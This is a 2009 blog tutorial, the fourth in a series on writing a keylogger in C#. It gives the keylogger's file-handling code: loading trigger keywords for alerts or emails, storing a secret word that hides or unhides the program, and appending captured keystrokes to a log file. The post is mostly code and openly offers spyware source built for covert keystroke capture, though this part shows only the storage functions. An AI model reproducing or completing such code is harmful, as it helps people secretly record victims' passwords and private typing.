Axino.net

Keylogger in C# :: Saving content

by Arxleol on Tuesday 27.10.2009, under C#, hack, tutorial, windows

In this fourth tutorial about writing keylogger in C# we are going to discuss something not as much connected to the keylogging but it is needed for basic functionality of keylogger.

If you remember function that were called in previous tutorial but I haven’t explained their functionality in depth about that. Now we will touch some of them.

private void initKeyWords() {
 
TextReader tr = new StreamReader("keywords.krs");
 
String temp;
 
keyWords = new ArrayList();
 
do
 
{
 
// read a line of text
 
temp = tr.ReadLine();
 
if (temp != null) keyWords.Add(temp);
 
} while (temp != null);
 
// close the stream
 
tr.Close();
 
}

This function reads all keywords from the file named kywords.krs you may name file in any way you want. Also you do not have to have this function but keywords will be used to fire special event alert or sending emails or something similar.

The following two functions are used to write in file secret word, this word is used for hiding or unhiding keylogger.

public String readFromFile(String fil) {
 
TextReader tr = new StreamReader("secret.krs");
 
// read a line of text
 
String secr = tr.ReadLine();
 
// close the stream
 
tr.Close();
 
return secr;
 
}
 
private void WriteSecretWord()
 
{
 
// create a writer and open the file
 
TextWriter tw = new StreamWriter("secret.krs");
 
// write a line of text to the file
 
tw.Write(textBox1.Text);
 
// close the stream
 
tw.Close();
 
}

This function is used for writing pressed keys codes into file named logs.krs it is called from the function explained in previous file.

        public void writeToFile(String writing)
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("logs.krs");
 
            // write a line of text to the file
            tw.WriteLine(secr+writing);
 
            // close the stream
            tw.Close();
 
        }

Similar Posts:

:, , , , , , ,
1 comment for this entry:

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Archives